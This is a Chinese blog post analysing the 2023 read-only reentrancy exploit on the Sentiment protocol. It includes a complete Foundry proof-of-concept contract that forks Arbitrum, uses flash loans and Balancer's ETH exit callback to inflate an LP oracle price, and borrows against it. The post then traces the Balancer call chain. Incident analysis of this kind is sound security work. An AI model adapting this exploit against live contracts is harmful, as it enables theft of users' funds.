Sentiment协议只读重入攻击分析

Chiu Lv4

概述

2023年4月4日,Sentiment协议遭受攻击,root cause为 Balancer 池在移除流动性时可以指定返回ETH,并且内部余额更新晚于ETH转账底层call调用,即使移除流动性函数本身有重入锁,但仍可跨函数利用。

漏洞背景

Sentiment是一个DeFi借贷协议,使用Balancer LP代币作为抵押品。计算帐号健康因子时,协议依赖WeightedBalancerLPOracle来获取LP代币的价格,而这个预言机在只读重入攻击下读取了过时的balance,计算出的是错误的LP token价格。

漏洞原理

根本原因

漏洞的根本原因在于Balancer池在处理ETH提取时的设计缺陷:

  1. 非Check-Effect-Interact模式操作:Balancer在exitPool操作中,先销毁LP代币、转移资金,最后才更新内部余额状态
  2. ETH转账的重入风险:当返回代币包含ETH时,Balancer使用低级call()转账,允许接收方控制执行流
  3. view函数无保护:预言机getPrice()是view函数,无法使用重入锁保护(锁需要写入变量,view无法写入)

POC

POC攻击流
白板图链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../../interface.sol";

interface IWeightedBalancerLPOracle {
function getPrice(address token) external view returns (uint256);
}

interface IAccountManager {
function riskEngine() external;

function openAccount(address owner) external returns (address);

function borrow(address account, address token, uint256 amt) external;

function deposit(address account, address token, uint256 amt) external;

function exec(address account, address target, uint256 amt, bytes calldata data) external;

function approve(address account, address token, address spender, uint256 amt) external;
}

interface IBalancerToken is IERC20 {
function getPoolId() external view returns (bytes32);
}

contract ContractTest is Test {
IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
IERC20 FRAX = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);
address FRAXBP = 0xC9B8a3FDECB9D5b218d02555a8Baf332E5B740d5;
address account;
bytes32 PoolId;
uint256 nonce;
IBalancerToken balancerToken = IBalancerToken(0x64541216bAFFFEec8ea535BB71Fbc927831d0595);
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
IAccountManager AccountManager = IAccountManager(0x62c5AA8277E49B3EAd43dC67453ec91DC6826403);
IWeightedBalancerLPOracle WeightedBalancerLPOracle =
IWeightedBalancerLPOracle(0x16F3ae9C1727ee38c98417cA08BA785BB7641b5B);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public {
cheats.createSelectFork("arbitrum", 77_026_912);
cheats.label(address(WBTC), "WBTC");
cheats.label(address(USDT), "USDT");
cheats.label(address(USDC), "USDC");
cheats.label(address(WETH), "WETH");
cheats.label(address(FRAX), "FRAX");
cheats.label(address(account), "account");
cheats.label(address(Balancer), "Balancer");
cheats.label(address(aaveV3), "aaveV3");
cheats.label(address(balancerToken), "balancerToken");
cheats.label(address(AccountManager), "AccountManager");
cheats.label(address(WeightedBalancerLPOracle), "WeightedBalancerLPOracle");
}

function testExploit() external {
payable(address(0)).transfer(address(this).balance);
AccountManager.riskEngine();
address[] memory assets = new address[](3);
assets[0] = address(WBTC);
assets[1] = address(WETH);
assets[2] = address(USDC);
uint256[] memory amounts = new uint256[](3);
amounts[0] = 606 * 1e8;
amounts[1] = 10_050_100 * 1e15;
amounts[2] = 18_000_000 * 1e6;

//interestRateModes ,0表示不将未还的闪电贷债务转为普通贷款
uint256[] memory modes = new uint256[](3);
modes[0] = 0;
modes[1] = 0;
modes[2] = 0;
aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);

console.log("\r");
emit log_named_decimal_uint(
"Attacker USDC balance after exploit",
USDC.balanceOf(address(this)),
USDC.decimals()
);
emit log_named_decimal_uint(
"Attacker USDT balance after exploit",
USDT.balanceOf(address(this)),
USDT.decimals()
);
emit log_named_decimal_uint(
"Attacker WETH balance after exploit",
WETH.balanceOf(address(this)),
WETH.decimals()
);
emit log_named_decimal_uint(
"Attacker WBTC balance after exploit",
WBTC.balanceOf(address(this)),
WBTC.decimals()
);
}

function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external payable returns (bool) {
depositCollateral(assets);
joinPool(assets);
exitPool();
WETH.approve(address(aaveV3), type(uint256).max);
WBTC.approve(address(aaveV3), type(uint256).max);
USDC.approve(address(aaveV3), type(uint256).max);
return true;
}

function depositCollateral(address[] calldata assets) internal {
WETH.withdraw(100 * 1e15);
//创建account用来后续借钱
account = AccountManager.openAccount(address(this));
WETH.approve(address(AccountManager), 50 * 1e18);
AccountManager.deposit(account, address(WETH), 50 * 1e18);
AccountManager.approve(account, address(WETH), address(Balancer), 50 * 1e18);
PoolId = balancerToken.getPoolId();
uint256[] memory amountIn = new uint256[](3);
amountIn[0] = 0;
amountIn[1] = 50 * 1e18;
amountIn[2] = 0;
bytes memory userDatas = abi.encode(uint256(1), amountIn, uint256(0));
IBalancerVault.JoinPoolRequest memory joinPoolRequest_1 = IBalancerVault.JoinPoolRequest({
asset: assets,
maxAmountsIn: amountIn,
userData: userDatas,
fromInternalBalance: false
});
// "joinPool(bytes32,address,address,(address[],uint256[],bytes,bool))"
bytes memory execData = abi.encodeWithSelector(0xb95cac28, PoolId, account, account, joinPoolRequest_1);
//通过 AccountManager 代理,使用 account 账户调用 Balancer 的 joinPool 函数,将这 50 WETH 存入池子中,换取 LP Token
AccountManager.exec(account, address(Balancer), 0, execData); // deposit 50 WETH
}

function joinPool(address[] calldata assets) internal {
WETH.approve(address(Balancer), 10_000 * 1e18);
WBTC.approve(address(Balancer), 606 * 1e8);
USDC.approve(address(Balancer), 18_000_000 * 1e6);
uint256[] memory amountIn = new uint256[](3);
amountIn[0] = 606 * 1e8;
amountIn[1] = 10_000 * 1e18;
amountIn[2] = 18_000_000 * 1e6;
bytes memory userDatas = abi.encode(uint256(1), amountIn, uint256(0));
IBalancerVault.JoinPoolRequest memory joinPoolRequest_2 = IBalancerVault.JoinPoolRequest({
asset: assets,
maxAmountsIn: amountIn,
userData: userDatas,
fromInternalBalance: false
});
Balancer.joinPool(PoolId, address(this), address(this), joinPoolRequest_2);
//Balancer.joinPool{value: 0.1 ether}(PoolId, address(this), address(this), joinPoolRequest_2);
//joinPool处理剩余的0.1eth也会走call,触发fallback
console.log(
"Before Read-Only-Reentrancy Collateral Price \t",
WeightedBalancerLPOracle.getPrice(address(balancerToken))
);
}

function exitPool() internal {
//重制授权
balancerToken.approve(address(Balancer), 0);

address[] memory assetsOut = new address[](3);
assetsOut[0] = address(WBTC);
assetsOut[1] = address(0); // exit的时候走eth,这样可以走call,触发fallback
assetsOut[2] = address(USDC);
uint256[] memory amountOut = new uint256[](3);
amountOut[0] = 606 * 1e8;
amountOut[1] = 5000 * 1e18;
amountOut[2] = 9_000_000 * 1e6;
uint256 balancerTokenAmount = balancerToken.balanceOf(address(this));
bytes memory userDatas = abi.encode(uint256(1), balancerTokenAmount);
IBalancerVault.ExitPoolRequest memory exitPoolRequest = IBalancerVault.ExitPoolRequest({
asset: assetsOut,
minAmountsOut: amountOut,
userData: userDatas,
toInternalBalance: false
});
Balancer.exitPool(PoolId, address(this), payable(address(this)), exitPoolRequest); //进入fallback
console.log(
"After Read-Only-Reentrancy Collateral Price \t",
WeightedBalancerLPOracle.getPrice(address(balancerToken))
);
//自动wrap回WETH
address(WETH).call{value: address(this).balance}("");
}

fallback() external payable {
console.log("Fallback hit, nonce =", nonce);
if (nonce == 2) {
console.log(
"In Read-Only-Reentrancy Collateral Price \t",
WeightedBalancerLPOracle.getPrice(address(balancerToken))
);
borrowAll();
}
nonce++;
console.log("after ++, nonce =", nonce);
}

function borrowAll() internal {
//借钱触发预言机读取中间态价格
AccountManager.borrow(account, address(USDC), 461_000 * 1e6);
AccountManager.borrow(account, address(USDT), 361_000 * 1e6);
AccountManager.borrow(account, address(WETH), 81 * 1e18);
AccountManager.borrow(account, address(FRAX), 125_000 * 1e18);
AccountManager.approve(account, address(FRAX), FRAXBP, type(uint256).max);
//换掉frax
bytes memory execData = abi.encodeWithSignature(
"exchange(int128,int128,uint256,uint256)",
0,
1,
120_000 * 1e18,
1
);
AccountManager.exec(account, FRAXBP, 0, execData);
AccountManager.approve(account, address(USDC), address(aaveV3), type(uint256).max);
AccountManager.approve(account, address(USDT), address(aaveV3), type(uint256).max);
AccountManager.approve(account, address(WETH), address(aaveV3), type(uint256).max);
//借款转到aave
execData = abi.encodeWithSignature(
"supply(address,uint256,address,uint16)",
address(USDC),
580_000 * 1e6,
account,
0
);
AccountManager.exec(account, address(aaveV3), 0, execData);
execData = abi.encodeWithSignature(
"supply(address,uint256,address,uint16)",
address(USDT),
360_000 * 1e6,
account,
0
);
AccountManager.exec(account, address(aaveV3), 0, execData);
execData = abi.encodeWithSignature(
"supply(address,uint256,address,uint16)",
address(WETH),
80 * 1e18,
account,
0
);
AccountManager.exec(account, address(aaveV3), 0, execData);

//取钱
execData = abi.encodeWithSignature(
"withdraw(address,uint256,address)",
address(USDC),
type(uint256).max,
address(this)
);
AccountManager.exec(account, address(aaveV3), 0, execData);
execData = abi.encodeWithSignature(
"withdraw(address,uint256,address)",
address(USDT),
type(uint256).max,
address(this)
);
AccountManager.exec(account, address(aaveV3), 0, execData);
execData = abi.encodeWithSignature(
"withdraw(address,uint256,address)",
address(WETH),
type(uint256).max,
address(this)
);
AccountManager.exec(account, address(aaveV3), 0, execData);
}
}

攻击链上调用分析

深入分析Balancer Vault中的关键调用链,理解重入是如何被触发的:

1. exitPool入口函数

1
2
3
4
5
6
7
8
9
10
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external override {
// 注意:此函数没有nonReentrant修饰符,保护在_joinOrExit中实现
_joinOrExit(PoolBalanceChangeKind.EXIT, poolId, sender, recipient, _toPoolBalanceChange(request));
}

2. 核心处理逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function _joinOrExit(
PoolBalanceChangeKind kind,
bytes32 poolId,
address sender,
address payable recipient,
PoolBalanceChange memory change
) private nonReentrant withRegisteredPool(poolId) authenticateFor(sender) {
// 验证代币和获取余额
IERC20[] memory tokens = _translateToIERC20(change.assets);
bytes32[] memory balances = _validateTokensAndGetBalances(poolId, tokens);

// 关键:调用池的balance change处理,这里会发送代币给攻击合约
(
bytes32[] memory finalBalances,
uint256[] memory amountsInOrOut,
uint256[] memory paidProtocolSwapFeeAmounts
) = _callPoolBalanceChange(kind, poolId, sender, recipient, change, balances);

// 重要:余额更新在代币转移之后!
// 这就是中间状态存在的原因
PoolSpecialization specialization = _getPoolSpecialization(poolId);
if (specialization == PoolSpecialization.TWO_TOKEN) {
_setTwoTokenPoolCashBalances(poolId, tokens[0], finalBalances[0], tokens[1], finalBalances[1]);
} else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) {
_setMinimalSwapInfoPoolBalances(poolId, tokens, finalBalances);
} else {
_setGeneralPoolBalances(poolId, finalBalances);
}
}

3. 代币转移处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function _callPoolBalanceChange(
PoolBalanceChangeKind kind,
bytes32 poolId,
address sender,
address payable recipient,
PoolBalanceChange memory change,
bytes32[] memory balances
) private returns (
bytes32[] memory finalBalances,
uint256[] memory amountsInOrOut,
uint256[] memory dueProtocolFeeAmounts
) {
// 调用池的onExitPool钩子函数
IBasePool pool = IBasePool(_getPoolAddress(poolId));
(amountsInOrOut, dueProtocolFeeAmounts) = pool.onExitPool(
poolId, sender, recipient, totalBalances, lastChangeBlock,
_getProtocolSwapFeePercentage(), change.userData
);

// 计算转账后的fininalBalance,但还没更新到状态变量,此处也处理exitPool的代币转移
finalBalances = _processExitPoolTransfers(recipient, change, balances, amountsInOrOut, dueProtocolFeeAmounts);
}

4. 池的退出处理逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
uint256[] memory amountsOut;
uint256 bptAmountIn;

// 检查是否为恢复模式退出
if (userData.isRecoveryModeExitKind()) {
_ensureInRecoveryMode();
(bptAmountIn, amountsOut) = _doRecoveryModeExit(balances, totalSupply(), userData);
} else {
_beforeSwapJoinExit();

uint256[] memory scalingFactors = _scalingFactors();
_upscaleArray(balances, scalingFactors);

// 处理正常的退出逻辑
(bptAmountIn, amountsOut) = _onExitPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
inRecoveryMode() ? 0 : protocolSwapFeePercentage,
scalingFactors,
userData
);

_downscaleDownArray(amountsOut, scalingFactors);
}

// 关键:此处销毁LP token,发生在代币实际转移给用户之前
_burnPoolTokens(sender, bptAmountIn);

// 返回要转移的代币数量
return (amountsOut, new uint256[](balances.length));
}

5. 退出代币转移逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function _processExitPoolTransfers(
address payable recipient,
PoolBalanceChange memory change,
bytes32[] memory balances,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
) private returns (bytes32[] memory finalBalances) {
finalBalances = new bytes32[](balances.length);
for (uint256 i = 0; i < change.assets.length; ++i) {
uint256 amountOut = amountsOut[i];
_require(amountOut >= change.limits[i], Errors.EXIT_BELOW_MIN);

// 发送代币给接收者 - 关键的重入触发点
IAsset asset = change.assets[i];
_sendAsset(asset, amountOut, recipient, change.useInternalBalance);

uint256 feeAmount = dueProtocolFeeAmounts[i];
_payFeeAmount(_translateToIERC20(asset), feeAmount);

// 计算新的池余额(在代币发送之后)
finalBalances[i] = balances[i].decreaseCash(amountOut.add(feeAmount));
}
}

6. ETH发送与重入触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function _sendAsset(
IAsset asset,
uint256 amount,
address payable recipient,
bool toInternalBalance
) internal {
if (amount == 0) return;

if (_isETH(asset)) {
_require(!toInternalBalance, Errors.INVALID_ETH_INTERNAL_BALANCE);

// 首先从WETH合约提取ETH
_WETH().withdraw(amount);

// 然后将提取的ETH发送给接收者 - 重入触发点
recipient.sendValue(amount);
} else {
IERC20 token = _asIERC20(asset);
if (toInternalBalance) {
_increaseInternalBalance(recipient, token, amount);
} else {
token.safeTransfer(recipient, amount);
}
}
}

7. 最终的重入触发

1
2
3
4
5
6
7
8
function sendValue(address payable recipient, uint256 amount) internal {
_require(address(this).balance >= amount, Errors.ADDRESS_INSUFFICIENT_BALANCE);

// 低级call调用 - 重入攻击的最终触发点
(bool success, ) = recipient.call{ value: amount }("");
_require(success, Errors.ADDRESS_CANNOT_SEND_VALUE);
}

理解重入时机

从调用链可以清楚看到攻击的关键时序:

  1. LP代币销毁:在onExitPool中调用_burnPoolTokens(sender, bptAmountIn),LP代币被销毁,totalSupply()立即减少
  2. 返回控制权onExitPool返回要转移的代币数量给Vault
  3. 代币转移:在_processExitPoolTransfers中,实际的代币转移开始执行
  4. ETH转账触发重入:当转移ETH时,recipient.call{ value: amount }("")执行,控制权转移给攻击者
  5. 余额更新延迟:池的内部余额(getPoolTokens()返回值)直到整个_joinOrExit函数最后才更新

这个时序创造了攻击窗口:在重入期间,totalSupply()已经大幅减少(分母变小),但getPoolTokens()返回的余额仍然包含即将被转移的代币(分子保持不变),导致LP代币价格被严重高估。

中间状态利用

exitPool操作的中间状态下:

  • LP代币总供应量已减少(totalSupply()返回较小值)
  • 池内代币余额尚未更新(getPoolTokens()返回原始余额)
  • 这种不一致状态导致LP代币价格被严重高估

价格计算漏洞

Sentiment的价格计算公式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getPrice(address token) external view returns (uint) {
(
address[] memory poolTokens,
uint256[] memory balances,
) = vault.getPoolTokens(IPool(token).getPoolId());

uint256[] memory weights = IPool(token).getNormalizedWeights();

// 计算不变量和价格因子
uint length = weights.length;
uint temp = 1e18;
uint invariant = 1e18;
for(uint i; i < length; i++) {
temp = temp.mulDown(
(oracleFacade.getPrice(poolTokens[i]).divDown(weights[i]))
.powDown(weights[i])
);
invariant = invariant.mulDown(
(balances[i] * 10 ** (18 - IERC20(poolTokens[i]).decimals()))
.powDown(weights[i])
);
}

return invariant
.mulDown(temp)
.divDown(IPool(token).totalSupply()); // 关键:分母被操纵
}

在重入攻击中,分母totalSupply()大幅减少,而分子(基于池余额的不变量)保持不变,导致价格被高估超过16倍。

攻击流程详解

攻击准备

  1. 闪电贷:借入606 WBTC、10,050.1 WETH、18,000,000 USDC
  2. 建立抵押品:在Sentiment账户中存入50 WETH,获得221.21 LP代币作为抵押

攻击执行

第一阶段:增加流动性

  • 向Balancer池大量注入流动性(606 WBTC + 10,000 WETH + 18,000,000 USDC)

  • 获得130,600.98个LP代币

  • 此时池状态:

    1
    2
    余额: [646.935 WBTC, 10,666.40 WETH, 19,155,172.17 USDC]总供应量: 139,234.634价格: 正常

第二阶段:触发重入

  • 调用exitPool提取全部注入的流动性,要求WETH以原生ETH形式返回
  • ETH转账触发重入,在fallback函数中执行恶意代码

第三阶段:价格操纵

在重入期间的池状态:

1
2
3
4
余额: [646.935 WBTC, 10,666.40 WETH, 19,155,172.17 USDC] (未更新)
总供应量: 8,633.65 (已更新)
价格: 3.55 ETH (被高估16倍以上)

第四阶段:套利获利

利用被高估的LP代币价格:

  1. 借出461,000 USDC、361,000 USDT、81 WETH、125,000 FRAX
  2. 交换部分FRAX为USDC用于还款
  3. 提取580,000 USDC、360,000 USDT、80 WETH到外部账户
  4. 归还闪电贷,保留利润

技术实现细节

核心攻击合约结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract ContractTest is Test {
// 代币接口
IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
// ... 其他代币

// 关键合约接口
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IAccountManager AccountManager = IAccountManager(0x62c5AA8277E49B3EAd43dC67453ec91DC6826403);
IWeightedBalancerLPOracle WeightedBalancerLPOracle =
IWeightedBalancerLPOracle(0x16F3ae9C1727ee38c98417cA08BA785BB7641b5B);

// 重入触发点
fallback() external payable {
if (nonce == 2) {
// 在重入中执行恶意借贷
borrowAll();
}
nonce++;
}
}

重入时机控制

精确控制重入时机,确保在Balancer的中间状态下执行价格查询和借贷操作:

1
2
3
4
5
6
7
8
9
function exitPool() internal {
// 构造exitPool请求,要求返回ETH
address[] memory assetsOut = new address[](3);
assetsOut[1] = address(0); // 关键:请求ETH而非WETH

// 执行exitPool,触发ETH转账和重入
Balancer.exitPool(PoolId, address(this), payable(address(this)), exitPoolRequest);
}

  • Title: Sentiment协议只读重入攻击分析
  • Author: Chiu
  • Created at : 2025-05-27 10:36:41
  • Updated at : 2025-07-14 21:32:17
  • Link: https://github.com/Idealist17/github.io/2025/05/27/Sentiment_RO_Reentrancy/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments